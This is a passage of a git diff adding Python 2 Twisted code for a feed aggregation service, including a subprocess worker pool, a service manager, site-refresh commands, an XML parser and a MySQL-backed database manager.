+        # If the parse succeded it left the results in a file
+        match = re.match("parse done (.+)", line)
+        if match:
+            print("  subprocess done with parse %s" % match.group(1))
+            p = self.stopRunning()
+            p.callback(match.group(1))
+            return
+
+        match = re.match("parse failed internal", line)
+        if not foundMatch and match:
+            err = "subprocess failed before parse"
+            print("  %s" % err)
+            self.parse_deferred.errback(Failure(ServiceSubprocessError(err)))
+            foundMatch = True
+
+        match = re.match("parse failed (.+)", line)
+        if not foundMatch and match:
+            arg = match.group(1)
+            err =  "subprocess failed parse %s" % arg
+            print("  %s" % err)
+            self.parse_deferred.errback(Failure(ServiceSubprocessError(err, arg)))
+            foundMatch = True
+
+        match = re.match("bad command", line)
+        if not foundMatch and match:
+            err = "we sent a bad command"
+            print("  %s" % err)
+            self.parse_deferred.errback(Failure(ServiceSubprocessError(err)))
+            foundMatch = True
+
+        if not foundMatch:
+            print("  unknown line from subprocess: %s" % line)
+            return
+
+    # Everything below is part of the ProcessProtocol
+    def outReceived(self, data):
+        """
+        Got data, parse into lines and send to the line hander.
+        """
+        self.buf = self.buf + data
+        while len(self.buf):
+            try:
+                line, self.buf = self.buf.split("\r\n", 1)
+            except ValueError:
+                return
+
+            self.lineReceived(line)
+
+    def errReceived(self, data):
+        print("  error data from subprocess: %s" % data)
+
+    def outConnectionLost(self):
+        print("  lost connection to subprocess")
+
+    def processEnded(self, status):
+        self.stopRunning()
+        print("  subprocess ended")
+        self.gone.callback(None)
+
+class SubService:
+    def __init__(self, name, sm):
+        self.name = name
+        self.sm = sm
+        self.dir = os.path.join(os.path.dirname(__file__), "..", "..")
+        self.transport = None
+        self.proto = ParseProcess()
+
+    def start(self):
+        # XXX need to add a timeout here for failure
+        self.transport = reactor.spawnProcess(self.proto,
+                                              os.path.join(self.dir, self.name),
+                                              args=[self.name], env=os.environ)
+        return self.proto.getStarted()
+
+    def getGone(self):
+        return self.proto.getGone()
+
+    def shutdown(self):
+        self.proto.quit()
+
+class ServicePool:
+    """
+    This is a simple ServicePool class.  It's useful if you have a
+    bunch of processes you want to manage and dispatch work to.  When
+    you want a process to manage you call checkOut() and it will hand
+    you back a deferred if one is available.  If it's not, you can
+    call queueWork() with a deferred and it will let you know when
+    there's a slot available.
+
+    When you're done with it you call checkIn() and it is put back in
+    the idle queue for re-use later.  If the job fails, you call
+    failed() instead of checkIn().
+    """
+    def __init__(self, name, sm):
+        self.name = name
+        self.sm = sm
+
+        # queues for all the various states
+        self.starting = []
+        self.idle = []
+        self.working = []
+        self.shutting_down = []
+
+        self.checked_out = dict()
+        self.queue = []
+
+        self.shutdown_in_progress = False
+        self.shutdown_d = defer.Deferred()
+
+    def add(self, item):
+        """
+        Add a new item to this pool.  It will be added to the idle
+        list and be listed as never used.
+        """
+        print("add %d" % id(item))
+        self.idle.insert(0, item)
+        self.checked_out[id(item)] = 0
+
+    def remove(self, item):
+        """
+        Remove an item from the pool.  It will be removed from any of
+        the various pools in the queue no matter which it happened to
+        be part of.  It will also be removed from the used list.
+        """
+        print("remove %d" % id(item))
+
+        try:
+            self.starting.remove(item)
+            print("was starting")
+        except:
+            pass
+
+        try:
+            self.idle.remove(item)
+            print("was idle")
+        except:
+            pass
+
+        try:
+            self.working.remove(item)
+            print("was working")
+        except:
+            pass
+
+        try:
+            self.shutting_down.remove(item)
+            print("was shutting down")
+        except:
+            pass
+
+        try:
+            del self.checked_out[id(item)]
+        except:
+            pass
+
+    def checkOut(self):
+        """
+        Check out an item from the idle pool.  If nothing is available
+        in the idle pool, this will return None.
+        """
+        print("checkOut")
+        item = None
+        try:
+            item = self.idle.pop(0)
+        except IndexError:
+            print("nothing idle")
+            return None
+
+        print self.working
+        self.working.insert(0, item)
+        print self.working
+
+        print("item %d" % id(item))
+        return item
+
+    def checkIn(self, item):
+        """
+        Check an item back in.  This item will be moved from the
+        working pool to the idle pool and the counter for this
+        particular item will be incremented.
+        """
+        print("checkIn %d" % id(item))
+
+        # move from work queue to idle queue
+        print self.working
+        self.working.remove(item)
+
+        self.idle.insert(0, item)
+        cur = self.checked_out[id(item)]
+
+        # accounting
+        self.checked_out[id(item)] = cur + 1
+
+        if self.shutdown_in_progress:
+            # see if there's stuff to move
+            self.checkShutdownProgress()
+        else:
+            # check for work that can be processed now
+            print("checking for work in the queue")
+            self.processQueue()
+
+        print("checkIn done")
+
+    def failed(self, item):
+        """
+        We've got this because a parse failed and we need to make sure
+        that we don't put it back on the idle queue.
+        """
+        print("failed %d" % id(item))
+
+        # move from the work queue to the shutting_down queue
+        print self.working
+        self.working.remove(item)
+
+        self.shutting_down.insert(0, item)
+
+        try:
+            item.shutdown()
+        except:
+            pass
+
+        if self.shutdown_in_progress:
+            self.checkShutdownProgress()
+        else:
+            self.processQueue()
+
+        print("failed done")
+
+    def getUsage(self, item):
+        """
+        Get how many times this item has been checked out.
+        """
+        print("getUsage %d" % id(item))
+        return self.checked_out[id(item)]
+
+    def queueWork(self, d):
+        print("queueing work for later")
+        self.queue.append(d)
+
+        self.maybeStartWorker()
+
+    def shutdown(self):
+        """
+        Start the shutdown process.
+        """
+        print("pool %s shutting down" % self.name)
+
+        self.shutdown_in_progress = True
+
+        self.checkShutdownProgress()
+
+        return self.shutdown_d
+
+    def checkShutdownProgress(self):
+        if not self.shutdown_in_progress:
+            return
+
+        for i in self.idle:
+            print("shutting down idle worker")
+            self.shutting_down.insert(0, i)
+            self.idle.remove(i)
+            i.shutdown()
+
+        print("starting %d idle %d working %d shutting_down %d" % (len(self.starting), len(self.idle), len(self.working), len(self.shutting_down)))
+
+        if len(self.starting) == 0 and len(self.idle) == 0 and \
+                len(self.working) == 0 and len(self.shutting_down) == 0:
+            print("checkShutdownProgress: Done!")
+            self.shutdown_d.callback(None)
+
+    def processQueue(self):
+        try:
+            while self.queue[0] and self.idle[0]:
+                try:
+                    print("work + idle - dispatching")
+                    q = self.queue.pop(0)
+                    i = self.checkOut()
+                    q.callback(i)
+                except:
+                    print("*** dispatch fail - probably just leaked!")
+
+        except IndexError:
+            print("no work to do")
+
+    def maybeStartWorker(self):
+        """
+        Start a new worker if we're not at our max already
+        """
+        max_workers = 2
+        if len(self.starting) + len(self.idle) + len(self.working) < max_workers:
+            print("starting new worker")
+            ss = SubService(self.name, self.sm)
+            self.starting.insert(0, ss)
+            d = ss.start()
+
+            g = ss.getGone()
+            g.addCallback(self.serviceGone, ss)
+
+            d.addCallback(self.serviceReady, ss)
+        else:
+            print("not starting new worker")
+
+    def serviceReady(self, result, ss):
+        print("pool serviceReady")
+        self.starting.remove(ss)
+        self.add(ss)
+        self.processQueue()
+
+    def serviceGone(self, result, ss):
+        print("pool serviceGone")
+        self.remove(ss)
+        self.checkShutdownProgress()
+
+class ServiceManager:
+    """
+    This class manages the various services that might need to do
+    processing for a particular command.  This includes starting and
+    stopping processes, managing the size of the pool, telling the
+    processes when to process some bit of information and reporting
+    errors when those subprocesses report errors.  It's a singleton
+    class.
+    """
+    def __init__(self):
+        self.pools = dict()
+        self.shutting_down = False
+        self.shutdown_d = None
+        self.shutdown_waiting = 0
+
+    def getService(self, name):
+        """
+        Call getService to get a handle to a program.  You will get a
+        deferred back that will tell you when the service is ready to
+        accept commands.
+        """
+
+        print("getService")
+        # Try to get a service from the pool to start and return it
+        # immediately if we find one.  If one's not available it will
+        # be started and handed back later.
+        p = self.getPoolForService(name)
+        s = p.checkOut()
+        if s:
+            print("successful checkOut")
+            d = defer.Deferred()
+            d.callback(s)
+            return d
+
+        print("deferring work")
+        d = defer.Deferred()
+        p.queueWork(d)
+        return d
+
+    def releaseService(self, ss):
+        print("releaseService")
+        p = self.getPoolForService(ss.name)
+
+        p.checkIn(ss)
+        print("used %d times" % p.getUsage(ss))
+
+    def serviceFailed(self, ss):
+        print("serviceFailed")
+        p = self.getPoolForService(ss.name)
+
+        p.failed(ss)
+
+    def getPoolForService(self, name):
+        """
+        This will get a pool for a service.  If the pool doesn't exist
+        it's created.
+        """
+        print("getPoolForService %s" % name)
+        try:
+            return self.pools[name]
+        except KeyError:
+            pass
+
+        print("making new pool")
+        p = ServicePool(name, self)
+        self.pools[name] = p
+
+        return p
+
+    def shutdown(self):
+        print("ServiceManager shutdown")
+        for i in self.pools:
+            p = self.pools[i]
+            d = p.shutdown()
+            d.addCallback(self.poolShutdownDone, i)
+
+        self.shutdown_d = defer.Deferred()
+        return self.shutdown_d
+
+    def poolShutdownDone(self, results, pool):
+        print("pool %s shut down" % pool)
+        del self.pools[pool]
+        if len(self.pools) == 0:
+            print("last pool shut down")
+            self.shutdown_d.callback(None)
+
+
+
+        
diff --git a/services/command/setup.py b/services/command/setup.py
new file mode 100644 (file)
index 0000000..80c3cc2
--- /dev/null
@@ -0,0 +1,68 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from twisted.internet import defer
+from services.command.base import BaseCommand
+
+import simplejson
+import os
+
+class IDURLSetupCommand(BaseCommand):
+    """
+    This command sets up initial variables in the state variable to be
+    passed along with the commands as they are run.
+    """
+    def __init__(self):
+        BaseCommand.__init__(self)
+        self.name = "id-url-setup"
+
+    def doCommand(self, state, id, url, *args, **kw):
+        state["id"] = id
+        state["url"] = url
+
+        d = defer.Deferred()
+        d.callback(url)
+        return d
+
+class FileToStateCommand(BaseCommand):
+    """
+    This command takes the results of a job that's been dropped in a
+    file as a JSON command and sticks it in the state variable.
+    """
+    def __init__(self):
+        BaseCommand.__init__(self)
+        self.name = "file-to-state"
+
+    def doCommand(self, state, filename, *args, **kw):
+        f = open(filename, "r")
+        j = simplejson.loads(f.read())
+        # _should_ be an array, but check just in case
+        if type(j) is dict:
+            for i in j.keys():
+                state[i] = j[i]
+        else:
+            state["last_json"] = j
+
+        d = defer.Deferred()
+        d.callback(None, *args, **kw)
+        return d
+        
diff --git a/services/command/siterefresh.py b/services/command/siterefresh.py
new file mode 100644 (file)
index 0000000..dacc224
--- /dev/null
@@ -0,0 +1,93 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+# classes that deal with refreshing a site
+
+from twisted.internet import defer
+from services.command.base import BaseCommand
+
+import datetime
+
+class RefreshSiteDone(BaseCommand):
+    """
+    Updates the site_refresh table when a site is refreshed
+    """
+    def __init__(self, dcm):
+        BaseCommand.__init__(self)
+        self.dcm = dcm
+        self.name = "refresh-site-done"
+        self.d = defer.Deferred()
+
+    def doCommand(self, state, *args, **kw):
+        self.state = state
+        id = self.state["site_refresh_id"]
+        q = """
+            UPDATE site_refresh SET status = "done", error = NULL where id = %s
+            """
+        d = self.dcm.runQuery(q, id)
+        d.addCallback(self.srDone)
+        d.addErrback(self.error)
+
+        return self.d
+
+    def srDone(self, *args, **kw):
+        id = self.state["site_id"]
+        q = """
+            UPDATE site SET last_poll = %s where id = %s
+            """
+        d = self.dcm.runQuery(q, (datetime.datetime.utcnow(), id))
+        d.addCallback(self.done)
+        d.addErrback(self.error)
+
+    def done(self, *args, **kw):
+        # return any new site_history_new_ids if we have them
+        retval = dict(site_history_new_ids = self.state.get("site_history_new_ids", []))
+        
+        self.d.callback(retval)
+
+    def error(self, failure):
+        self.d.errback(failure)
+
+class RefreshSiteError:
+    def __init__(self, dcm):
+        self.dcm = dcm
+        self.d = defer.Deferred()
+
+    def handleError(self, state, failure):
+        error = None
+        id = state["site_refresh_id"]
+        self.orig_failure = failure
+
+        # XXX add an error here at some point
+
+        q = """
+            UPDATE site_refresh SET status = "error", error = %s where id = %s
+            """
+
+        d = self.dcm.runQuery(q, (None, id))
+
+        d.addCallback(self.updateDone)
+
+        return self.d
+
+    def updateDone(self, *args, **kw):
+        self.d.errback(self.orig_failure)
diff --git a/services/command/twitter.py b/services/command/twitter.py
new file mode 100644 (file)
index 0000000..e3fdd1c
--- /dev/null
@@ -0,0 +1,47 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+# classes for twitter stuff
+import re
+import urlparse
+
+class Twitter:
+    # function to see if a particular feed is a twitter feed or not
+    def isTwitterURL(self, url):
+        u = urlparse.urlparse(url)
+        urlparse.clear_cache()
+        host = u[1]
+        path = u[2]
+
+        if host == "twitter.com" and re.match('^/([^/]+$)', path):
+            return True
+
+        return False
+
+    def getPreferredFeed(self, feeds):
+        for i in range(0, len(feeds)):
+            if feeds[i][1] == u'application/atom+xml' and re.match('http://twitter.com/statuses/user_timeline/', feeds[i][0]):
+                print("  Found preferred feed at %s" % feeds[i][0])
+                return feeds[i]
+
+        return None
+
diff --git a/services/command/utils.py b/services/command/utils.py
new file mode 100644 (file)
index 0000000..5501aa3
--- /dev/null
@@ -0,0 +1,39 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import urlparse
+
+def resolve_relative_url(url, base):
+    """
+    Resolves relative urls if required.  Returns the url fully
+    qualified.
+    """
+    retval = url
+    if urlparse.urlparse(url)[0] == '':
+        print("  fixing up relative url %s" % url)
+        retval = urlparse.urljoin(base, url)
+        print("  new url is %s" % retval)
+        # work around problems in python's urlparse module
+        urlparse.clear_cache()
+
+    return retval
+
diff --git a/services/command/xmlnode.py b/services/command/xmlnode.py
new file mode 100644 (file)
index 0000000..207f6eb
--- /dev/null
@@ -0,0 +1,129 @@
+# This code is originally from the flickrapi package at:
+# http://flickrapi.sourceforge.net/
+
+# Copyright (c) 2007 by the respective coders, see
+# http://flickrapi.sf.net/
+
+# This code is subject to the Python licence, as can be read on
+# http://www.python.org/download/releases/2.5.2/license/
+
+# For those without an internet connection, here is a summary. When
+# this summary clashes with the Python licence, the latter will be
+# applied.
+
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT.  IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+'''FlickrAPI uses its own in-memory XML representation, to be able to easily
+use the info returned from Flickr.
+
+There is no need to use this module directly, you'll get XMLNode instances
+from the FlickrAPI method calls.
+'''
+
+import xml.dom.minidom
+
+__all__ = ('XMLNode', )
+
+class XMLNode:
+    """XMLNode -- generic class for holding an XML node
+
+    xml_str = '''<xml foo="32">
+    <name bar="10">Name0</name>
+    <name bar="11" baz="12">Name1</name>
+    </xml>'''
+
+    f = XMLNode.parseXML(xml_str)
+
+    print f.elementName              # xml
+    print f['foo']                   # 32
+    print f.name                     # [<name XMLNode>, <name XMLNode>]
+    print f.name[0].elementName      # name
+    print f.name[0]["bar"]           # 10
+    print f.name[0].elementText      # Name0
+    print f.name[1].elementName      # name
+    print f.name[1]["bar"]           # 11
+    print f.name[1]["baz"]           # 12
+
+    """
+
+    def __init__(self):
+        """Construct an empty XML node."""
+        self.elementName = ""
+        self.elementText = ""
+        self.attrib = {}
+        self.xml = ""
+
+    def __setitem__(self, key, item):
+        """Store a node's attribute in the attrib hash."""
+        self.attrib[key] = item
+
+    def __getitem__(self, key):
+        """Retrieve a node's attribute from the attrib hash."""
+        return self.attrib[key]
+
+    #-----------------------------------------------------------------------
+    @classmethod
+    def parseXML(cls, xml_str, store_xml=False):
+        """Convert an XML string into a nice instance tree of XMLNodes.
+
+        xml_str -- the XML to parse
+        store_xml -- if True, stores the XML string in the root XMLNode.xml
+
+        """
+
+        def __parseXMLElement(element, thisNode):
+            """Recursive call to process this XMLNode."""
+            thisNode.elementName = element.nodeName
+
+            #print element.nodeName
+
+            # add element attributes as attributes to this node
+            for i in range(element.attributes.length):
+                an = element.attributes.item(i)
+                thisNode[an.name] = an.nodeValue
+
+            for a in element.childNodes:
+                if a.nodeType == xml.dom.Node.ELEMENT_NODE:
+
+                    child = XMLNode()
+                    try:
+                        list = getattr(thisNode, a.nodeName)
+                    except AttributeError:
+                        setattr(thisNode, a.nodeName, [])
+
+                    # add the child node as an attrib to this node
+                    list = getattr(thisNode, a.nodeName)
+                    list.append(child)
+
+                    __parseXMLElement(a, child)
+
+                elif a.nodeType == xml.dom.Node.TEXT_NODE:
+                    thisNode.elementText += a.nodeValue
+            
+            return thisNode
+
+        dom = xml.dom.minidom.parseString(xml_str)
+
+        # get the root
+        rootNode = XMLNode()
+        if store_xml: rootNode.xml = xml_str
+
+        return __parseXMLElement(dom.firstChild, rootNode)
diff --git a/services/config/__init__.py b/services/config/__init__.py
new file mode 100644 (file)
index 0000000..bc50301
--- /dev/null
@@ -0,0 +1,46 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from ConfigParser import ConfigParser
+
+_parser = None
+
+def get(section, option):
+  global _parser
+  return _parser.get(section, option)
+
+def getint(section, option):
+  global _parser
+  return _parser.getint(section, option)
+
+def getfloat(section, option):
+  global _parser
+  return _parser.getfloat(section, option)
+
+def read(filenames):
+  global _parser
+
+  if not _parser:
+    _parser = ConfigParser()
+
+  return _parser.read(filenames)
+  
diff --git a/services/master/__init__.py b/services/master/__init__.py
new file mode 100644 (file)
index 0000000..e69de29
diff --git a/services/master/database.py b/services/master/database.py
new file mode 100644 (file)
index 0000000..5d2446c
--- /dev/null
@@ -0,0 +1,298 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from twisted.enterprise import adbapi
+from services.master.newsite import NewSite
+from services.master.feedrefresh import FeedRefresh
+from services.master.linkedin import LinkedInRefresh
+from services.master.flickr import FlickrCache
+from services.master.picasa import PicasaRefresh
+from services.master.previewsite import PreviewSite
+
+import services.config as config
+
+class DatabaseManager:
+    def __init__(self, master):
+        self.master = master
+        self.db = None
+        # new site
+        self.new_site_in_progress = False
+        self.new_site_last_id = 0
+        # pick site
+        self.picked_site_in_progress = False
+        self.picked_site_last_id = 0
+        # refresh
+        self.refresh_in_progress = False
+        self.refresh_last_id = 0
+        # flickr images
+        self.flickr_initial_check = False
+        # preview sites
+        self.preview_site_in_progress = False
+        self.preview_site_last_id = 0
+
+    def start(self):
+        """
+        Start up the connection to the database.
+        """
+        if self.db is None:
+            self.db = adbapi.ConnectionPool("MySQLdb", cp_reconnect=True,
+                                            host=config.get("db", "host"),
+                                            user=config.get("db", "user"),
+                                            passwd=config.get("db", "passwd"),
+                                            db=config.get("db", "db"),
+                                            port=config.getint("db", "port"))
+
+    def stop(self):
+        """
+        Shutdown the connection to the database.
+        """
+        self.db.close()
+        self.db = None
+
+    def runQuery(self, query, *args):
+        """
+        Takes the query passed in and runs it, returning a deferred.
+        Pass in args and they will be added to the end of the query in
+        the usual mysql %s style.
+        
+        This also adds its own Errback handler to detect errors and
+        will restart the database connection when one happens.  Be
+        gentle!
+        """
+        d = self.db.runQuery(query, *args)
+        return d
+
+    def runInteraction(self, interaction, query, *args):
+        """
+        This takes the query and callable interaction function and
+        passes it down to the database interface.  Note that the
+        interaction call will be made from a different thread so make
+        sure that it's thread safe!
+        """
+        d = self.db.runInteraction(interaction, query, *args)
+        return d
+
+    def errorHandler(self, failure):
+        """
+        Try and restart database connections.
+        """
+        print("  db error handler - wtf? %s", failure.getErrorMessage())
+        self.stop()
+        self.picked_site_in_progress = False
+        self.new_site_in_progress = False
+        self.start()
+        return failure
+
+    def getNewWork(self):
+        print("getNewWork")
+        self.getNewSites()
+        self.getPickedSites()
+        self.getRefreshSites()
+        self.getPreviewSites()
+        if not self.flickr_initial_check:
+            self.getFlickrImages()
+
+####
+# Sites that are new
+####
+
+    def getNewSites(self):
+        """
+        Check to see if there's new sites to be added.  This will kick
+        off an async query and will return immediately.
+        """
+        if self.new_site_in_progress:
+            return
+
+        self.new_site_in_progress = True
+
+        q = """
+            SELECT id, url FROM new_site WHERE status = "new" and id > %s
+            """
+        d = self.runQuery(q, self.new_site_last_id)
+        d.addCallback(self.gotNewSites)
+        d.addErrback(self.errorHandler)
+
+    def gotNewSites(self, results):
+        # results: id, url
+        for i in results:
+            # see if we have a new floor
+            if i[0] > self.new_site_last_id:
+                self.new_site_last_id = i[0]
+            # and dispatch our new site
+            self.newSite(*i)
+        self.new_site_in_progress = False
+
+    def newSite(self, id, url):
+        NewSite(self.master).startProcess(id, url)
+
+####
+# Sites that have a url that have been picked
+####
+
+    def getPickedSites(self):
+        """
+        Check to see if there are picked sites to be processed.  This
+        will kick off an async query and will return immediately.  It
+        uses all the same calls as the new site code because the new
+        site command on the controllers know how to handle a new or
+        url_picked site.
+        """
+        if self.picked_site_in_progress:
+            return
+
+        self.picked_site_in_progress = True
+
+        q = """
+            SELECT id, url FROM new_site WHERE status = "url_picked" and id > %s
+            """
+        d = self.runQuery(q, self.picked_site_last_id)
+        d.addErrback(self.errorHandler)
+        d.addCallback(self.gotPickedSites)
+
+    def gotPickedSites(self, results):
+        # results: id, url
+        for i in results:
+            # see if we have a new floor
+            if i[0] > self.picked_site_last_id:
+                self.picked_site_last_id = i[0]
+            # and dispatch our new site
+            self.newSite(*i)
+        self.picked_site_in_progress = False
+
+####
+# Sites that need to be refresh
+####
+
+    def getRefreshSites(self):
+        """
+        Check to see if there's any refresh of sites that needs to
+        happen.
+        """
+
+        if self.refresh_in_progress:
+            return
+
+        self.refresh_in_progress = True
+
+        q = """
+            SELECT site_refresh.id, site_refresh.site_id, site.type
+            FROM site_refresh, site WHERE
+            site_refresh.site_id = site.id and site_refresh.status = "new" and site_refresh.id > %s
+            """
+        d = self.runQuery(q, self.refresh_last_id)
+        d.addCallback(self.gotRefresh)
+        d.addErrback(self.errorHandler)
+
+    def gotRefresh(self, results):
+        # results: id, site_id, type
+        for i in results:
+            if i[0] > self.refresh_last_id:
+                self.refresh_last_id = i[0]
+            # dispatch
+            self.startRefresh(i[0], i[1], i[2])
+        self.refresh_in_progress = False
+
+    def startRefresh(self, id, site_id, type):
+        if type == "linkedin":
+            LinkedInRefresh(self.master).startProcess(id, site_id)
+        elif type == "picasa":
+            PicasaRefresh(self.master).startProcess(id, site_id)
+        else:
+            FeedRefresh(self.master).startProcess(id, site_id, type)
+        
+
+####
+# Flickr images might need to be updated
+####
+
+    def getFlickrImages(self):
+        """
+        Check to see if there are any images that need to be refreshed
+        from flickr.
+        """
+
+        print("making initial flickr check")
+        self.flickr_initial_check = True
+
+        q = """
+        select site_history.id, site_history.site_id from site, site_history where site.id = site_history.site_id and site.type = 'flickr' and site.is_removed is null and site_history.display_cache is NULL
+        """
+        d = self.runQuery(q)
+        d.addCallback(self.gotFlickr)
+        d.addErrback(self.errorHandler)
+
+    def updateSiteFlickrImages(self, site_id):
+        print("updating any flickr images for site %s" % site_id)
+        """
+        Update any new flickr thumbnails for a specific website.  Only
+        used when we either add a new site or when we refresh a site.
+        """
+        q = """
